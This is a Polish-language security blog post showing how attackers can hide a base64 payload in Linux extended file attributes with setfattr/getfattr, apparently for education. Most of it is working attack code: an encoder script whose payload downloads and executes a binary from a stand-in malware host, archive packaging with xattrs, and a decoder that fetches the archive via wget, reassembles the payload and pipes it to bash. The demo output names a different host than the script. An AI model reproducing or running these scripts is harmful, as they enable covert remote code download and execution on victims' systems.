Używanie attr w Linuksie jak rasowe APT
Napisał: Patryk Krawaczyński
Wczoraj w Bezpieczeństwo Brak komentarzy. (artykuł nr 929, ilość słów: 508)
N
ie tak dawno omawialiśmy używanie xattr w macOS. Tym razem czeka nas mała demonstracja, jak podobny scenariusz może zostać wykorzystany w systemie Linux za pomocą pakietu attr. Odpowiada on za dostarczenie narzędzi (setfattr
/ getfattr
) służących do manipulowania rozszerzonymi atrybutami systemu plików typu XFS, EXT4 oraz BTRFS. Umożliwiają one tworzenie własnych, dowolnych atrybutów plików, które możemy traktować jako „tagi” w podobny sposób, w jaki używamy metadanych EXIF dla zdjęć. Podczas gdy programiści mogą używać rozszerzonych atrybutów do rozwijania niestandardowych funkcji aplikacji, atakujący mogą je wykorzystywać do ukrywania szkodliwych ładunków.
Nazwy atrybutów zazwyczaj poprzedzone są prefiksem wskazującym przestrzeń nazw (ang. namespace). W zależności od rodzaju systemu plików mogą to na przykład być: user – dla atrybutów użytkownika, system – dla atrybutów systemowych (np. ACL), security – dla atrybutów bezpieczeństwa (np. SELinux). My skupimy się na utylizacji przestrzeni user, w której ukryjemy zakodowany base64 ładunek (ang. payload) do dalszego wykonania. W tym celu użyjemy prostego skryptu payload-encode.sh
, który podzieli nam zakodowany ładunek na umowne 64 znaki i umieści go w odpowiednie nazwanych rozszerzonych atrybutach:
#!/bin/bash PAYLOAD=`echo 'cd ./; curl -s --connect-timeout 10 https://malware.tld/config.json -k -o config.json; curl -s --connect-timeout 10 https://malware.tld/linux.bin -k -o linuxsys; chmod +x linuxsys; ./linuxsys' | base64 -w0` CHUNK_SIZE=64 i=0 while [ $((i * CHUNK_SIZE)) -lt ${#PAYLOAD} ]; do CHUNK=${PAYLOAD:$((i * CHUNK_SIZE)):CHUNK_SIZE} CHUNKS+=("$CHUNK") ((i++)) done echo "Full PAYLOAD: $PAYLOAD" for slice in ${!CHUNKS[@]}; do echo "Setting slice number: $slice - PAYLOAD: ${CHUNKS[$slice]}" setfattr -n user.payload$slice -v "${CHUNKS[$slice]}" malware.txt done echo "Setting slice chunk count: ${#CHUNKS[@]}" setfattr -n user.payload_number -v "${#CHUNKS[@]}" malware.txt
Wystarczy teraz stworzyć pusty plik i zakodować w jego atrybutach ładunek:
agresor@darkstar:~$ touch malware.txt agresor@darkstar:~$ ./payload-encode.sh Full PAYLOAD: Y2QgLi87IGN1cmwgLXMgLS1sgY3VybCAtcyAmUudG...GludXhzeXM7IC4vbGludXhzeXMK Setting slice number: 0 - PAYLOAD: Y2QgLi87IGN1cmwgLXMg...WVvdXQgMTAgaHR0cHM6Ly9tYWx3 Setting slice number: 1 - PAYLOAD: YXJlLnRvcC9jb25maWcu...25maWcuanNvbjsgY3VybCAtcyAt Setting slice number: 2 - PAYLOAD: LWNvbm5lY3QtdGltZW91...L21hHdhcmUudG9wL2xpbnV4LmJp Setting slice number: 3 - PAYLOAD: biAtayAtbyBsaW51eHN5...bGludhzeXM7IC4vbGludXhzeXMK Setting slice chunk count: 4
Sprawdzamy, czy wszystko poszło po naszej myśli:
agresor@darkstar:~$ getfattr --dump --recursive malware.txt # file: malware.txt user.payload0="Y2QgLi87IGN1cmwgLXMgLS1jb25uZWN0LXRpbWVvdXQgMTAgaHR0cHM6Ly9tYWx3" user.payload1="YXJlLnRvcC9jb25maWcuanNvbiAtayAtbyBjb25maWcuanNvbjsgY3VybCAtcyAt" user.payload2="LWNvbm5lY3QtdGltZW91dCAxMCBodHRwczovL21hbHdhcmUudG9wL2xpbnV4LmJp" user.payload3="biAtayAtbyBsaW51eHN5czsgY2htb2QgK3ggbGludXhzeXM7IC4vbGludXhzeXMK" user.payload_number="4"
Jeśli wszystko się zgadza tworzymy archiwum z tekstowym „duchem” i umieszczamy na serwerze dystrybucyjnym:
agresor@darkstar:~$ tar --xattrs -pcvzf malware.tar.gz malware.txt malware.txt agresor@darkstar:~$ sudo mv malware.tar.gz /var/www
Teraz pozostaje nam tylko stworzenie skryptu payload-decode.sh
, który przy udanej infekcji w pierwszym etapie będzie ściągał i uruchamiał nasz ładunek:
#!/bin/bash wget https://darkstar.tld/malware.tar.gz tar --xattrs-include='user.*' -xf malware.tar.gz END_RANGE=$((`getfattr -d -n user.payload_number malware.txt |\ egrep -v "^# file:" | egrep -o [0-9]` - 1)) for i in $(seq 0 $END_RANGE); do PAYLOAD=`getfattr -d -n user.payload$i malware.txt | grep -oP "(?<=\").*(?=\")"` FULL_PAYLOAD+=$PAYLOAD done echo $FULL_PAYLOAD | base64 -d | bash
W celach demonstracyjnych usuniemy ostatnie wyrażenie w skrypcie: | bash w celu rozbrojenia i sprawdzenia, czy ładunek zostanie poprawnie wyświetlony na ekranie (ale nie wykonany):
agresor@darkstar:~$ ./payload-decode.sh cd ./; curl -s --connect-timeout 10 https://malware.top/config.json -k -o config.json; curl -s --connect-timeout 10 https://malware.top/linux.bin -k -o linuxsys; chmod +x linuxsys; ./linuxsys
Więcej informacji: Hiding Payloads in Linux Extended File Attributes, The Linuxsys Cryptominer
Poprzedni wpis Brak nowszych postów